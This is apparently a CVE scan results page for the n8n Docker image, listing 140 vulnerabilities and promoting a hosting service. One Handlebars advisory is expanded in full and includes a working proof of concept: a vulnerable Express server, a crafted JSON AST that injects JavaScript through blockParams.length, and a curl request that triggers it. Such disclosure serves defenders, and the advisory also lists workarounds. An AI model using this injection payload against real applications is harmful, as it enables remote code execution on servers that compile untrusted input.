Neues Image Scannen

CVE-Scan für n8nio/n8n:stable

Docker-Image-Sicherheitslücken-Scanner

140 Bekannte Sicherheitslücken in diesem Docker-Image

10
Kritisch
63
Hoch
53
Mittel
7
Niedrig
0
Info/ Unbestimmt/ Unbekannt
CVE-IDSchweregradPaketBetroffene VersionBehobene VersionCVSS-Score
CVE-2026-106446criticalpkg:npm/handlebars@4.7.9>=4.0.0,<=4.7.94.7.109.8

Summary

Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.

If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.

Applications that only ever pass template strings are not affected.

This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.

Details

The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:

AST value Written into generated code as Compile options needed
Program.blockParams.length container.program(<index>, data, <length>) none (default options)
depth on a param that is not a PathExpression, e.g. a StringLiteral depths[<depth>] stringParams: true
A StringLiteral.value that is not a string raw JavaScript literal stringParams: true
A PathExpression.original that is not a string raw JavaScript literal stringParams: true

The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:

  1. the blockParams object has no type, so none of the type-specific checks apply, and
  2. the walker skips the string under length because it is not an object.

The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.

Proof of Concept

  1. Start a server that compiles request input:
import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
  res.send(template());
});

app.listen(2123);
  1. Save this request body as poc.json. missingHelper does not need to exist:
{
  "text": {
    "type": "Program",
    "loc": { "start": { "line": 1, "column": 0 } },
    "body": [
      {
        "type": "BlockStatement",
        "path": {
          "type": "PathExpression", "data": false, "depth": 0,
          "parts": ["missingHelper"], "original": "missingHelper",
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "params": [],
        "program": {
          "type": "Program",
          "blockParams": {
            "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
          },
          "body": [],
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "openStrip": { "open": false, "close": false },
        "inverseStrip": { "open": false, "close": false },
        "closeStrip": { "open": false, "close": false },
        "loc": { "start": { "line": 1, "column": 0 } }
      }
    ]
  }
}
  1. Send the request:
curl -s -X POST 'http://127.0.0.1:2123/api/render' \
     -H 'Content-Type: application/json' --data-binary @poc.json

The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:

Error: Injected code ran as uid 1000

Impact

An application is affected if untrusted input can reach Handlebars.compile() or Handlebars.precompile() as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to compile().

  • compile(): arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution).
  • precompile(): the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers.

Workarounds

  • Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value.
    if (typeof templateInput !== 'string') {
      throw new TypeError('Template must be a string');
    }
    
  • Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

Credits

Variant Program.blockParams

Variant BooleanLiteral|NumberLiteral.value

Variant PathExpression.depth

Package URL(s):
  • pkg:npm/handlebars@4.7.9
CVE-2026-19931criticalcurl<8.22.0-r08.22.0-r09.8
CVE-2026-63073criticalopenssl<3.5.8-r03.5.8-r09.8
CVE-2026-102422criticalpkg:npm/shell-quote@1.9.0>=1.8.4,<1.11.01.11.09.2
CVE-2026-102828criticalpkg:npm/simple-git@3.36.0>=3.15.0,<4.0.14.0.19.2
CVE-2026-102829criticalargv-parser<2.0.12.0.19.2
CVE-2026-106445criticalpkg:npm/handlebars@4.7.9>=4.0.0,<=4.7.94.7.109.2
CVE-2026-18924criticalcurl<8.22.0-r08.22.0-r09.1
CVE-2026-75803criticalopenssl<3.5.8-r03.5.8-r09.1
CVE-2026-90711criticalpkg:npm/proxy-addr@2.0.7>=1.1.0,<2.0.82.0.89.1

Schweregradstufen

Ausnutzung könnte zu schwerwiegenden Konsequenzen wie Systemkompromittierung oder Datenverlust führen. Erfordert sofortige Aufmerksamkeit.

Sicherheitslücke könnte relativ leicht ausgenutzt werden und erhebliche Auswirkungen haben. Erfordert zeitnahe Aufmerksamkeit.

Ausnutzung ist möglich, erfordert aber möglicherweise spezifische Bedingungen. Auswirkungen sind moderat. Sollte zeitnah behoben werden.

Ausnutzung ist schwierig oder die Auswirkungen sind minimal. Kann bei Gelegenheit oder im Rahmen der regulären Wartung behoben werden.

Schweregrad ist nicht bestimmt, informativ oder vernachlässigbar. Überprüfung je nach Kontext.

Sliplane Icon
Über Sliplane

Sliplane ist eine Cloud-Plattform, die das Deployen und Skalieren deiner Apps einfach macht. Starte in wenigen Minuten und wachse von da aus, Container inklusive.

Sliplane kostenlos testen

Über den CVE-Scanner

Der CVE-Scanner ist ein leistungsstarkes Tool, das dir hilft, bekannte Sicherheitslücken in deinen Docker-Images zu identifizieren. Indem deine Images mit einer umfassenden Datenbank von Common Vulnerabilities and Exposures (CVEs) abgeglichen werden, kannst du sicherstellen, dass deine Anwendungen sicher und auf dem neuesten Stand sind. Für weitere Details, schau dir die NIST CVE-Datenbank an.

Warum CVE-Scanning für deine Docker-Images wichtig ist

Mit dem Anstieg von Supply-Chain-Angriffen ist die Sicherung deiner Anwendungen wichtiger denn je. CVE-Scanning spielt eine entscheidende Rolle bei der Identifizierung von Sicherheitslücken, die von Angreifern ausgenutzt werden könnten, insbesondere solche, die durch Abhängigkeiten und Drittanbieter-Komponenten eingeführt werden. Regelmäßiges Scannen und Sichern deiner Docker-Images ist essenziell, um deine Anwendungen vor diesen sich entwickelnden Bedrohungen zu schützen.

Was ist eine CVE?

CVE steht für Common Vulnerabilities and Exposures. Es ist ein standardisierter Bezeichner für bekannte Sicherheitslücken, der Entwicklern und Organisationen ermöglicht, potenzielle Risiken effektiv zu verfolgen und zu beheben. Für weitere Informationen, besuche cve.mitre.org.

Vorteile des CVE-Scannens

  • Erhöhte Sicherheit: Erkenne und behebe Sicherheitslücken, bevor sie ausgenutzt werden.
  • Compliance: Erfülle Branchenstandards und regulatorische Anforderungen für sichere Software.
  • Proaktive Wartung: Bleibe potenziellen Bedrohungen einen Schritt voraus, indem du Sicherheitslücken frühzeitig behebst.

Wie der CVE-Scanner funktioniert

Der CVE-Scanner analysiert deine Docker-Images anhand einer umfassenden Datenbank bekannter Sicherheitslücken. Er nutzt Docker Scout im Hintergrund, um detaillierte Einblicke in betroffene Pakete, Schweregradstufen und verfügbare Fixes zu liefern, sodass du sofort handeln kannst.

Die Bedeutung des Patchens von Docker-Images

Das Patchen deiner Docker-Images ist ein entscheidender Schritt, um die Sicherheit und Stabilität deiner Anwendungen zu gewährleisten. Durch regelmäßige Updates deiner Images mit den neuesten Sicherheitspatches kannst du bekannte Sicherheitslücken beheben und das Risiko einer Ausnutzung reduzieren. Dieser proaktive Ansatz stellt sicher, dass deine Anwendungen widerstandsfähig gegenüber neuen Bedrohungen bleiben und hilft, die Einhaltung von Sicherheitsstandards zu gewährleisten.

Du willst dieses Image deployen?

Probiere Sliplane aus – eine einfache Docker-Hosting-Lösung. Sie bietet dir die Tools, um deine containerisierten Anwendungen bereitzustellen, zu verwalten und zu skalieren.